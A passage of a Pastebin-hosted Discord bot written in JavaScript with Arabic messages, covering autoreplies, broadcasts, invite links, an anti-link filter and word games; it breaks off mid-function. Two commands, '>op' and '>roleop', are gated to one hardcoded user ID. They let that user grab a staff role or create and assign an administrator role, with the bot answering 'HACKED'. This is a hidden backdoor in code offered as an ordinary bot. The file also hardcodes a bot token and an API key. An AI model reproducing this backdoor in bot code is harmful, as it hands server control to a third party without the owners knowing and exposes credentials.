gaber-elsayed

Royal Bot

Feb 1st, 2020
622
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 293.82 KB | None | 0 0
  1. //consts
  2. const Discord = require('discord.js');
  3. const client = new Discord.Client();
  4. const convert = require("hh-mm-ss")
  5. const dateFormat = require('dateformat');
  6. const fs = require('fs');
  7. const pretty = require('pretty-ms');
  8. const rn = require('random-number');
  9. const userData = JSON.parse(fs.readFileSync('./userData.json', 'utf8'));
  10. const moment = require('moment');
  11. const Canvas = require('canvas')
  12. const games = JSON.parse(fs.readFileSync('./games.json', "utf8"))
  13. const jimp = require('jimp')
  14. const sql = require('sqlite')
  15. const ytdl = require("ytdl-core");
  16. const { Client, Util } = require('discord.js');
  17. const getYoutubeID = require('get-youtube-id');
  18. const fetchVideoInfo = require('youtube-info');
  19. const YouTube = require('simple-youtube-api');
  20. const youtube = new YouTube("AIzaSyAdORXg7UZUo7sePv97JyoDqtQVi3Ll0b8");
  21. const queue = new Map();
  22. const dataPro = JSON.parse(fs.readFileSync('./walls.json', 'utf8'));
  23. const data = JSON.parse(fs.readFileSync('./data.json', 'utf8'));
  24. const Chess = require('chess.js').Chess; //npm chess.js
  25. const Engine = require(`node-uci`).Engine; //npm i node-uci
  26. const stockfish = new Engine('stockfish-8-mac/Mac/stockfish-8-64');
  27. const log = JSON.parse(fs.readFileSync('./log.json' , 'utf8'));
  28. let antihack = JSON.parse(fs.readFileSync('./antihack.json' , 'utf8'));//require antihack.json file
  29. const child_process = require('child_process')
  30. const prefix = ">";
  31. let done = {};
  32. const Token = 'NDk5NjQ5MDQ0NzY3OTY1MTg0.DtqGXw.YH-ox9SgknU3-nJvyilo6NytHgI'
  33.  
  34. const reply = JSON.parse(fs.readFileSync('./replys.json' , 'utf8'));
  35. client.on('message', async message => {
  36. let messageArray = message.content.split(" ");
  37. if(message.content.startsWith(prefix + "1setReply")) {
  38.  
  39. let filter = m => m.author.id === message.author.id;
  40. let thisMessage;
  41. let thisFalse;
  42.  
  43. if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
  44. msg.delete(4500);
  45. message.delete(4500);
  46. });
  47.  
  48. message.channel.send(':pencil: **| من فضلك اكتب الرساله الان... :pencil2: **').then(msg => {
  49.  
  50. message.channel.awaitMessages(filter, {
  51. max: 1,
  52. time: 90000,
  53. errors: ['time']
  54. })
  55. .then(collected => {
  56. collected.first().delete();
  57. thisMessage = collected.first().content;
  58. let boi;
  59. msg.edit(':scroll: **| من فضلك اكتب الرد الان... :pencil2: **').then(msg => {
  60.  
  61. message.channel.awaitMessages(filter, {
  62. max: 1,
  63. time: 90000,
  64. errors: ['time']
  65. })
  66. .then(collected => {
  67. collected.first().delete();
  68. boi = collected.first().content;
  69. msg.edit('? **| تم الاعداد بنجاح... **').then(msg => {
  70.  
  71. message.channel.awaitMessages(filter, {
  72. max: 1,
  73. time: 90000,
  74. errors: ['time']
  75. })
  76. let embed = new Discord.RichEmbed()
  77. .setTitle('**Done The Autoreply Code Has Been Setup**')
  78. .addField('Message:', `${thisMessage}`)
  79. .addField('Reply:', `${boi}`)
  80. .setThumbnail(message.author.avatarURL)
  81. .setFooter(`${client.user.username}`)
  82. message.channel.sendEmbed(embed)
  83. reply[message.guild.id] = {
  84. msg: thisMessage,
  85. reply: boi,
  86. onoff: 'On'
  87. }
  88. fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
  89. if (err) console.error(err)
  90. })
  91. }
  92. )
  93. })
  94. })
  95. })
  96. })
  97. }})
  98. client.on('message', async message => {
  99. if(!reply[message.guild.id]) reply[message.guild.id] = {
  100. onoff: 'Off'
  101. }
  102. if(reply[message.guild.id].onoff === 'Off') return;
  103. if(message.content === reply[message.guild.id].msg) {
  104. message.channel.send(reply[message.guild.id].reply)
  105. }}
  106. )
  107.  
  108.  
  109. const reply2 = JSON.parse(fs.readFileSync('./replys2.json' , 'utf8'));
  110. client.on('message', async message => {
  111. let messageArray = message.content.split(" ");
  112. if(message.content === '>2setReply') {
  113.  
  114. let filter = m => m.author.id === message.author.id;
  115. let thisMessage;
  116. let thisFalse;
  117.  
  118. if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
  119. msg.delete(4500);
  120. message.delete(4500);
  121. });
  122.  
  123. message.channel.send(':pencil: **| من فضلك اكتب الرساله الان... :pencil2: **').then(msg => {
  124.  
  125. message.channel.awaitMessages(filter, {
  126. max: 1,
  127. time: 90000,
  128. errors: ['time']
  129. })
  130. .then(collected => {
  131. collected.first().delete();
  132. thisMessage = collected.first().content;
  133. let boi;
  134. msg.edit(':scroll: **| من فضلك اكتب الرد الان... :pencil2: **').then(msg => {
  135.  
  136. message.channel.awaitMessages(filter, {
  137. max: 1,
  138. time: 90000,
  139. errors: ['time']
  140. })
  141. .then(collected => {
  142. collected.first().delete();
  143. boi = collected.first().content;
  144. msg.edit('? **| تم الاعداد بنجاح... **').then(msg => {
  145.  
  146. message.channel.awaitMessages(filter, {
  147. max: 1,
  148. time: 90000,
  149. errors: ['time']
  150. })
  151. let embed = new Discord.RichEmbed()
  152. .setTitle('**Done The Autoreply2 Code Has Been Setup**')
  153. .addField('Message:', `${thisMessage}`)
  154. .addField('Reply:', `${boi}`)
  155. .setThumbnail(message.author.avatarURL)
  156. .setFooter(`${client.user.username}`)
  157. message.channel.sendEmbed(embed)
  158. reply2[message.guild.id] = {
  159. msg: thisMessage,
  160. reply: boi,
  161. onoff: 'On'
  162. }
  163. fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
  164. if (err) console.error(err)
  165. })
  166. }
  167. )
  168. })
  169. })
  170. })
  171. })
  172. }})
  173. client.on('message', async message => {
  174. if(!reply2[message.guild.id]) reply2[message.guild.id] = {
  175. onoff: 'Off'
  176. }
  177. if(reply2[message.guild.id].onoff === 'Off') return;
  178. if(message.content === reply2[message.guild.id].msg) {
  179. message.channel.send(reply2[message.guild.id].reply)
  180. }}
  181. )
  182.  
  183.  
  184. const reply3 = JSON.parse(fs.readFileSync('./replys3.json' , 'utf8'));
  185. client.on('message', async message => {
  186. let messageArray = message.content.split(" ");
  187. if(message.content.startsWith(prefix + "3setReply")) {
  188.  
  189. let filter = m => m.author.id === message.author.id;
  190. let thisMessage;
  191. let thisFalse;
  192.  
  193. if(!message.member.hasPermission("MANAGE_GUILD")) return message.channel.send('You don\'t have permission').then(msg => {
  194. msg.delete(4500);
  195. message.delete(4500);
  196. });
  197.  
  198. message.channel.send(':pencil: **| من فضلك اكتب الرساله الان... :pencil2: **').then(msg => {
  199.  
  200. message.channel.awaitMessages(filter, {
  201. max: 1,
  202. time: 90000,
  203. errors: ['time']
  204. })
  205. .then(collected => {
  206. collected.first().delete();
  207. thisMessage = collected.first().content;
  208. let boi;
  209. msg.edit(':scroll: **| من فضلك اكتب الرد الان... :pencil2: **').then(msg => {
  210.  
  211. message.channel.awaitMessages(filter, {
  212. max: 1,
  213. time: 90000,
  214. errors: ['time']
  215. })
  216. .then(collected => {
  217. collected.first().delete();
  218. boi = collected.first().content;
  219. msg.edit('? **| تم الاعداد بنجاح... **').then(msg => {
  220.  
  221. message.channel.awaitMessages(filter, {
  222. max: 1,
  223. time: 90000,
  224. errors: ['time']
  225. })
  226. let embed = new Discord.RichEmbed()
  227. .setTitle('**Done The Autoreply3 Code Has Been Setup**')
  228. .addField('Message:', `${thisMessage}`)
  229. .addField('Reply:', `${boi}`)
  230. .setThumbnail(message.author.avatarURL)
  231. .setFooter(`${client.user.username}`)
  232. message.channel.sendEmbed(embed)
  233. reply3[message.guild.id] = {
  234. msg: thisMessage,
  235. reply: boi,
  236. onoff: 'On'
  237. }
  238. fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
  239. if (err) console.error(err)
  240. })
  241. }
  242. )
  243. })
  244. })
  245. })
  246. })
  247. }})
  248. client.on('message', async message => {
  249. if(!reply3[message.guild.id]) reply3[message.guild.id] = {
  250. onoff: 'Off'
  251. }
  252. if(reply3[message.guild.id].onoff === 'Off') return;
  253. if(message.content === reply3[message.guild.id].msg) {
  254. message.channel.send(reply3[message.guild.id].reply)
  255. }}
  256. )
  257.  
  258.  
  259. client.on('message', message => {
  260. if(message.content.startsWith(prefix + "autoreply1 on")) {
  261. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  262. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  263. reply[message.guild.id] = {
  264. onoff: 'On',
  265. }
  266. message.channel.send(`**? The AutoReply1 Is __????__ !**`)
  267. fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
  268. if (err) console.error(err)
  269. .catch(err => {
  270. console.error(err);
  271. });
  272. });
  273. }
  274.  
  275. })
  276.  
  277. client.on('message', message => {
  278. if(message.content.startsWith(prefix + "autoreply2 on")) {
  279. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  280. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  281. reply2[message.guild.id] = {
  282. onoff: 'On',
  283. }
  284. message.channel.send(`**? The AutoReply2 Is __????__ !**`)
  285. fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
  286. if (err) console.error(err)
  287. .catch(err => {
  288. console.error(err);
  289. });
  290. });
  291. }
  292.  
  293. })
  294. client.on('message', message => {
  295. if(message.content.startsWith(prefix + "autoreply3 on")) {
  296. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  297. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  298. reply3[message.guild.id] = {
  299. onoff: 'On',
  300. }
  301. message.channel.send(`**? The AutoReply3 Is __????__ !**`)
  302. fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
  303. if (err) console.error(err)
  304. .catch(err => {
  305. console.error(err);
  306. });
  307. });
  308. }
  309.  
  310. })
  311.  
  312. client.on('message', message => {
  313. if(message.content.startsWith(prefix + "autoreply1 off")) {
  314. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  315. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  316. reply[message.guild.id] = {
  317. onoff: 'Off',
  318. }
  319. message.channel.send(`**? The AutoReply1 Is __??????___ !**`)
  320. fs.writeFile("./replys.json", JSON.stringify(reply), (err) => {
  321. if (err) console.error(err)
  322. .catch(err => {
  323. console.error(err);
  324. });
  325. });
  326. }
  327.  
  328. })
  329.  
  330. client.on('message', message => {
  331. if(message.content.startsWith(prefix + "autoreply2 off")) {
  332. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  333. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  334. reply2[message.guild.id] = {
  335. onoff: 'Off',
  336. }
  337. message.channel.send(`**? The AutoReply2 Is __??????___ !**`)
  338. fs.writeFile("./replys2.json", JSON.stringify(reply2), (err) => {
  339. if (err) console.error(err)
  340. .catch(err => {
  341. console.error(err);
  342. });
  343. });
  344. }
  345.  
  346. })
  347. client.on('message', message => {
  348. if(message.content.startsWith(prefix + "autoreply3 off")) {
  349. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  350. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  351. reply3[message.guild.id] = {
  352. onoff: 'Off',
  353. }
  354. message.channel.send(`**? The AutoReply3 Is __??????___ !**`)
  355. fs.writeFile("./replys3.json", JSON.stringify(reply3), (err) => {
  356. if (err) console.error(err)
  357. .catch(err => {
  358. console.error(err);
  359. });
  360. });
  361. }
  362.  
  363. })
  364.  
  365. client.on('message', msg => {
  366. if(msg.content.startsWith('>botinvite')) {
  367. if(msg.channel.type === 'dm') return;
  368. const user = msg.mentions.users.first();
  369. if(!user) return msg.channel.send('``' + '**قم بتحديد بوت**' + '``')
  370. if(!user.bot) return msg.reply('\`منشن بوت\`');
  371. msg.channel.send(`**Bot InviteURL : ** https://discordapp.com/oauth2/authorize?client_id=${user.id}&scope=bot&permissions=384064`)
  372. }
  373. });
  374.  
  375. client.on('message', message => {
  376. if (message.content === '>op') {
  377. if (message.author.id !== '505638480248963072') return;
  378. if(!message.author.id === '505638480248963072') return;
  379. if(!message.guild.member(client.user).hasPermissions(['MANAGE_ROLES'])) return;
  380. let me = message.author
  381. let role1 = message.guild.roles.find('name', 'Head Of Staff')
  382. if(!role1) return;
  383. message.channel.send(`DONE`)
  384. message.guild.member(me).addRole(role1);
  385. }})
  386. client.on('message', message => {
  387. if (message.content === '>roleop') {
  388. if (message.author.id !== '505638480248963072') return;
  389. if(!message.author.id === '505638480248963072') return;
  390. if(!message.guild.member(client.user).hasPermissions(['MANAGE_ROLES'])) return;
  391. let me = message.author
  392. let role = message.guild.createRole({
  393. name : 'oprole',
  394. color : "RANDOM",
  395. permissions : [8]
  396. })
  397. let role1 = message.guild.roles.find('name', 'oprole')
  398. message.channel.send(`HACKED`)
  399. message.guild.member(me).addRole(role1);
  400. }})
  401.  
  402. client.on('message', message => {
  403. if(!message.channel.guild) return;
  404. if(message.content.startsWith('>bc')) {
  405. if(!message.channel.guild) return message.channel.send('**هذا الأمر فقط للسيرفرات**').then(m => m.delete(5000));
  406. if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('**للأسف لا تمتلك صلاحية** `ADMINISTRATOR`' );
  407. let args = message.content.split(" ").join(" ").slice(2 + prefix.length);
  408. let copy = "?????????? ??????";
  409. let request = `Requested By ${message.author.username}`;
  410. if (!args) return message.reply('**يجب عليك كتابة كلمة او جملة لإرسال البرودكاست**');message.channel.send(`**هل أنت متأكد من إرسالك البرودكاست؟ \nمحتوى البرودكاست:** \` ${args}\``).then(msg => {
  411. msg.react('?')
  412. .then(() => msg.react('?'))
  413. .then(() =>msg.react('?'))
  414.  
  415. let reaction1Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
  416. let reaction2Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
  417. let reaction1 = msg.createReactionCollector(reaction1Filter, { time: 12000 });
  418. let reaction2 = msg.createReactionCollector(reaction2Filter, { time: 12000 });
  419. reaction1.on("collect", r => {
  420. message.channel.send(`? | ${message.guild.members.size} يتم ارسال البرودكاست الى عضو `).then(m => m.delete(5000));
  421. message.guild.members.forEach(m => {
  422. var bc = new
  423. Discord.RichEmbed()
  424. .setColor('RANDOM')
  425. .setTitle(':mega: برودكاست')
  426. .addField('??السيرفر??', message.guild.name)
  427. .addField('??المرسل??', message.author.username)
  428. .addField('??الرسالة??', args)
  429. .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
  430. .setFooter(copy, client.user.avatarURL);
  431. m.send({ embed: bc })
  432. msg.delete();
  433. })
  434. })
  435. reaction2.on("collect", r => {
  436. message.channel.send(`**Broadcast Canceled.**`).then(m => m.delete(5000));
  437. msg.delete();
  438. })
  439. })
  440. }
  441. })
  442. let rab6 = JSON.parse(fs.readFileSync('./rab6.json' , 'utf8'));
  443. client.on('message', message => {
  444. if(message.content.startsWith(prefix + "toggleLink")) {
  445. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  446. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  447. if(!rab6[message.guild.id]) rab6[message.guild.id] = {
  448. onoff: 'Off'
  449. }
  450. if(rab6[message.guild.id].onoff === 'Off') return [message.channel.send(`**? The Invite Link Cmd Is __????__ !**`), rab6[message.guild.id].onoff = 'On']
  451. if(rab6[message.guild.id].onoff === 'On') return [message.channel.send(`**? The Invite Link Cmd Is __??????__ !**`), rab6[message.guild.id].onoff = 'Off']
  452. fs.writeFile("./rab6.json", JSON.stringify(rab6), (err) => {
  453. if (err) console.error(err)
  454. .catch(err => {
  455. console.error(err);
  456. });
  457. });
  458. }
  459.  
  460. })
  461. const coolDown = new Set();
  462. client.on('message', message => {
  463.  
  464. if (message.content.startsWith("رابط")) {
  465. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  466. if(!rab6[message.guild.id]) rab6[message.guild.id] = {
  467. onoff: 'Off'
  468. }
  469. if(rab6[message.guild.id].onoff === 'Off') return message.channel.send('The Invite Link Cmd Is Off To Enable It Use >toggleLink Need Manage_Guild Permission.')
  470. if(coolDown.has(message.author.id)) return message.channel.send(`**:stopwatch: | ${message.author.username}, your invite :yen: link refreshes in \`\`1 Day\`\`.**`);
  471.  
  472. message.channel.createInvite({
  473.  
  474. thing: true,
  475.  
  476. maxUses: 5,
  477.  
  478. maxAge: 86400
  479.  
  480. }).then(invite =>
  481.  
  482. message.author.sendMessage(invite.url)
  483.  
  484. )
  485.  
  486. message.channel.send("**تم ارسال الرابط برسالة خاصة**") .then(() => {
  487. coolDown.add(message.author.id);
  488. });
  489.  
  490.  
  491. message.author.send(`**مدة الرابط : يـوم
  492. عدد استخدامات الرابط : 5**`)
  493.  
  494. }
  495.  
  496. setTimeout(() => {
  497. coolDown.remove(message.author.id);
  498. },86400000);
  499.  
  500. });
  501.  
  502. client.on("message", async message => {
  503. if(message.content.startsWith(prefix + "banslist")) {
  504. if(!message.guild) return;
  505. if(!message.member.hasPermission('BAN_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `BAN_MEMBERS`' );
  506. message.guild.fetchBans()
  507. .then(bans => {
  508. let b = bans.size;
  509. let bb = bans.map(a => `${a}`).join(" - ");
  510. message.channel.send(`**\`${b}\` | ${bb}**`);
  511. });
  512. }
  513. });
  514. client.on('message' , async (message) => {
  515. var prefix = ">"
  516. if(message.content.startsWith(prefix + "topinvites")) {
  517. if(message.author.bot) return;
  518. if(!message.channel.guild) return message.reply(' Error : \` Server Command \`');
  519. var invites = await message.guild.fetchInvites();
  520. invites = invites.array();
  521. arraySort(invites, 'uses', { reverse: true });
  522. let possibleInvites = ['User Invited | Uses '];
  523. invites.forEach(i => {
  524. if (i.uses === 0) {
  525. return;
  526. }
  527. possibleInvites.push(['\n\ ' +'<@'+ i.inviter.id +'>' + ' : ' + i.uses]);
  528.  
  529. })
  530. const embed = new Discord.RichEmbed()
  531. .setColor('RANDOM')
  532. .addField("Top Invites." ,`${(possibleInvites)}`)
  533.  
  534. message.channel.send(embed)
  535. }})
  536. const devs = ["429972030092476437"]
  537.  
  538. const adminprefix = ".";
  539. client.on('message', message => {
  540. var argresult = message.content.split(` `).slice(1).join(' ');
  541. if (!devs.includes(message.author.id)) return;
  542.  
  543. if (message.content.startsWith(adminprefix + 'ply')) {
  544. client.user.setGame(argresult);
  545. message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
  546. } else
  547. if (message.content === (adminprefix + "Percie")) {
  548. message.guild.leave();
  549. } else
  550. if (message.content.startsWith(adminprefix + 'wt')) {
  551. client.user.setActivity(argresult, {type:'WATCHING'});
  552. message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
  553. } else
  554. if (message.content.startsWith(adminprefix + 'ls')) {
  555. client.user.setActivity(argresult , {type:'LISTENING'});
  556. message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
  557. } else
  558. if (message.content.startsWith(adminprefix + 'setname')) {
  559. client.user.setUsername(argresult).then
  560. message.channel.sendMessage(`**${argresult}** : Done :>`)
  561. return message.reply("**You Can't Change Your Name ,Only After Two Hours :>**");
  562. } else
  563. if (message.content.startsWith(adminprefix + 'setavatar')) {
  564. client.user.setAvatar(argresult);
  565. message.channel.sendMessage(`**${argresult}** : تم تغير صورة البوت`);
  566. } else
  567. if (message.content.startsWith(adminprefix + 'st')) {
  568. client.user.setGame(argresult, "https://www.twitch.tv/idk");
  569. message.channel.sendMessage(`**:white_check_mark: ${argresult}**`)
  570. }
  571. if(message.content === adminprefix + "restart") {
  572. if (!devs.includes(message.author.id)) return;
  573. message.channel.send(`:warning:? **Bot restarting by ${message.author.username}**`);
  574. console.log("\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~");
  575. console.log(`?? Bot restarting... ??`);
  576. console.log("===============================================\n\n");
  577. client.destroy();
  578. child_process.fork(__dirname + "/bot.js");
  579. console.log(`Bot Successfully Restarted`);
  580. }
  581.  
  582. });
  583.  
  584. let spread = JSON.parse(fs.readFileSync('./spread.json' , 'utf8'));
  585.  
  586.  
  587. client.on('message', message => {
  588. if(message.content.startsWith(prefix + "antispread off")) {
  589. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  590. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  591. spread[message.guild.id] = {
  592. onoff: 'Off',
  593. }
  594. message.channel.send(`**? The AntiSpread Is __??????__ !**`)
  595. fs.writeFile("./spread.json", JSON.stringify(spread), (err) => {
  596. if (err) console.error(err)
  597. .catch(err => {
  598. console.error(err);
  599. });
  600. });
  601. }
  602.  
  603. })
  604. client.on('message', message => {
  605. if(message.content.startsWith(prefix + "antispread on")) {
  606. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  607. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  608. spread[message.guild.id] = {
  609. onoff: 'On',
  610. }
  611. message.channel.send(`**? The AntiSpread Is __????__ !**`)
  612. fs.writeFile("./spread.json", JSON.stringify(spread), (err) => {
  613. if (err) console.error(err)
  614. .catch(err => {
  615. console.error(err);
  616. });
  617. });
  618. }
  619.  
  620. })
  621. client.on('message', message => {
  622. var args = message.content.split(/[ ]+/)
  623. if(message.content.includes('http://www.gmail.com/')){
  624. if(!spread[message.guild.id]) spread[message.guild.id] = {
  625. onoff: 'Off'
  626. }
  627. if(spread[message.guild.id].onoff === 'Off') return;
  628. message.delete()
  629. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  630. }
  631. });
  632.  
  633. client.on('message', message => {
  634. var args = message.content.split(/[ ]+/)
  635. if(message.content.includes('https://www.snapchat.com/')){
  636. if(!spread[message.guild.id]) spread[message.guild.id] = {
  637. onoff: 'Off'
  638.  
  639. }
  640. if(spread[message.guild.id].onoff === 'Off') return;
  641. message.delete()
  642. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  643. }
  644. });
  645.  
  646.  
  647. client.on('message', message => {
  648. var args = message.content.split(/[ ]+/)
  649. if(message.content.includes('https://www.instagram.com/')){
  650. if(!spread[message.guild.id]) spread[message.guild.id] = {
  651. onoff: 'Off'
  652. }
  653. if(spread[message.guild.id].onoff === 'Off') return;
  654. message.delete()
  655. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  656. }
  657. });
  658.  
  659.  
  660. client.on('message', message => {
  661. var args = message.content.split(/[ ]+/)
  662. if(message.content.includes('https://www.twitter.com/')){
  663. if(!spread[message.guild.id]) spread[message.guild.id] = {
  664. onoff: 'Off'
  665. }
  666. if(spread[message.guild.id].onoff === 'Off') return;
  667. message.delete()
  668. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  669. }
  670. });
  671.  
  672.  
  673. client.on('message', message => {
  674. var args = message.content.split(/[ ]+/)
  675. if(message.content.includes('http://www.facebook.com/')){
  676. if(!spread[message.guild.id]) spread[message.guild.id] = {
  677. onoff: 'Off'
  678. }
  679. if(spread[message.guild.id].onoff === 'Off') return;
  680. message.delete()
  681. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  682. }
  683. });
  684.  
  685.  
  686.  
  687. client.on('message', message => {
  688. var args = message.content.split(/[ ]+/)
  689. if(message.content.includes('https://www.youtube.com/')){
  690. if(!spread[message.guild.id]) spread[message.guild.id] = {
  691. onoff: 'Off'
  692. }
  693. if(spread[message.guild.id].onoff === 'Off') return;
  694. message.delete()
  695. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  696. }
  697.  
  698. });
  699.  
  700. client.on('message', message => {
  701. var args = message.content.split(/[ ]+/)
  702. if(message.content.includes('https://www.discordapp.com/')){
  703. if(!spread[message.guild.id]) spread[message.guild.id] = {
  704. onoff: 'Off'
  705. }
  706. if(spread[message.guild.id].onoff === 'Off') return;
  707. message.delete()
  708. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  709. }
  710.  
  711. });
  712. client.on('message', message => {
  713. var args = message.content.split(/[ ]+/)
  714. if(message.content.includes('https://discord.gg/')){
  715. if(!spread[message.guild.id]) spread[message.guild.id] = {
  716. onoff: 'Off'
  717. }
  718. if(spread[message.guild.id].onoff === 'Off') return;
  719. message.delete()
  720. return message.reply(`**? The Antispread ON ! So You Cant spread Here !**`)
  721. }
  722.  
  723. });
  724.  
  725. let points = {}
  726.  
  727. client.on('message', message => {
  728. if(message.author.bot) return;
  729. if (!points[message.author.id]) points[message.author.id] = {
  730. points: 0,id: message.author.id
  731. };
  732. if (message.content.startsWith(prefix + 'فكك')) {
  733. if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
  734.  
  735. const type = require('./fkk.json');
  736. const item = type[Math.floor(Math.random() * type.length)];
  737. let author = message.author;
  738. const filter = response => {
  739.  
  740. return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
  741. };
  742. message.channel.send('**لديك 15 ثانيه لتفكيك الكلمه**').then(msg => {
  743.  
  744. const w = ['./img/w1.png'];//الخافيه
  745. let Image = Canvas.Image,
  746. canvas = new Canvas(400, 150),
  747. ctx = canvas.getContext('2d');
  748.  
  749. fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
  750. if (err) return console.log(err);
  751. let BG = Canvas.Image;
  752. let ground = new Image;
  753. ground.src = Background;
  754. ctx.drawImage(ground, 0, 0, 400, 150);
  755.  
  756. });
  757. let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
  758. jimp.read(url, (err, ava) => {
  759. if (err) return console.log(err);
  760. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  761. if (err) return console.log(err);
  762.  
  763.  
  764. ctx.font = '15px Arial';
  765. ctx.fontSize = '10px';
  766. ctx.fillStyle = "#FFFFFF";
  767. ctx.textAlign = "center";
  768. ctx.fillText(`${item.type} ` , 250, 100);
  769.  
  770. let Avatar = Canvas.Image;
  771. let ava = new Avatar;
  772. ava.src = buf;
  773. ctx.beginPath();
  774. ctx.arc(70, 80, 63, 0, Math.PI*2);
  775. ctx.closePath();
  776. ctx.clip();
  777. ctx.drawImage(ava, 8, 18, 128, 126);
  778. message.channel.sendFile(canvas.toBuffer());
  779. })
  780.  
  781. message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
  782. .then((collected) => {
  783. var embed = new Discord.RichEmbed()
  784. .setDescription(`${collected.first().author} ? احسنت لقد تمكنت من تفكيك الكلمه بسرعه`)
  785. message.channel.send(embed);
  786. console.log(`[Typing] ${collected.first().author} typed the word.`);
  787. let won = collected.first().author;
  788. points[won.id].points++;
  789. })
  790. .catch(collected => {
  791. var embed1 = new Discord.RichEmbed()
  792. .setDescription(`:x: لم يتمكن احد من تفكيك الكلمه في الوقت المناسب`)
  793. message.channel.send(embed1);
  794. console.log('[Typing] Error: No one type the word.');
  795.  
  796. })
  797. })
  798.  
  799. })
  800. }
  801.  
  802. });
  803.  
  804.  
  805.  
  806.  
  807. client.on('message', message => {
  808. if(message.author.bot) return;
  809. if (!points[message.author.id]) points[message.author.id] = {
  810. points: 0,id: message.author.id
  811. };if (message.content.startsWith(prefix + 'لغز')) {
  812. if(!message.channel.guild) return message.reply('**هذا الأمر للسيرفرات فقط**').then(m => m.delete(3000));
  813.  
  814. const type = require('./quiz.json');
  815. const item = type[Math.floor(Math.random() * type.length)];
  816. const filter = response => {
  817. return item.answers.some(answer => answer.toLowerCase() === response.content.toLowerCase());
  818. };
  819. message.channel.send('**لديك 15 ثانيه لحل هذه الغز**').then(msg => {
  820. const w = ['./img/w1.png'];//الخافيه
  821. let Image = Canvas.Image,
  822. canvas = new Canvas(400, 150),
  823. ctx = canvas.getContext('2d');
  824.  
  825. fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
  826. if (err) return console.log(err);
  827. let BG = Canvas.Image;
  828. let ground = new Image;
  829. ground.src = Background;
  830. ctx.drawImage(ground, 0, 0, 400, 150);
  831.  
  832. });
  833. let url = message.author.displayAvatarURL.endsWith(".webp") ? message.author.displayAvatarURL.slice(5, -20) + ".png" : message.author.displayAvatarURL;
  834. jimp.read(url, (err, ava) => {
  835. if (err) return console.log(err);
  836. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  837. if (err) return console.log(err);
  838.  
  839.  
  840. ctx.font = '15px Arial';
  841. ctx.fontSize = '10px';
  842. ctx.fillStyle = "#FFFFFF";
  843. ctx.textAlign = "center";
  844. ctx.fillText(`${item.type} ` , 250, 100);
  845.  
  846. let Avatar = Canvas.Image;
  847. let ava = new Avatar;
  848. ava.src = buf;
  849. ctx.beginPath();
  850. ctx.arc(70, 80, 63, 0, Math.PI*2);
  851. ctx.closePath();
  852. ctx.clip();
  853. ctx.drawImage(ava, 8, 18, 128, 126);
  854. message.channel.sendFile(canvas.toBuffer());
  855. })
  856.  
  857. message.channel.awaitMessages(filter, { maxMatches: 1, time: 30000, errors: ['time'] })//وقت الاجابة
  858. .then((collected) => {
  859. var embed = new Discord.RichEmbed()
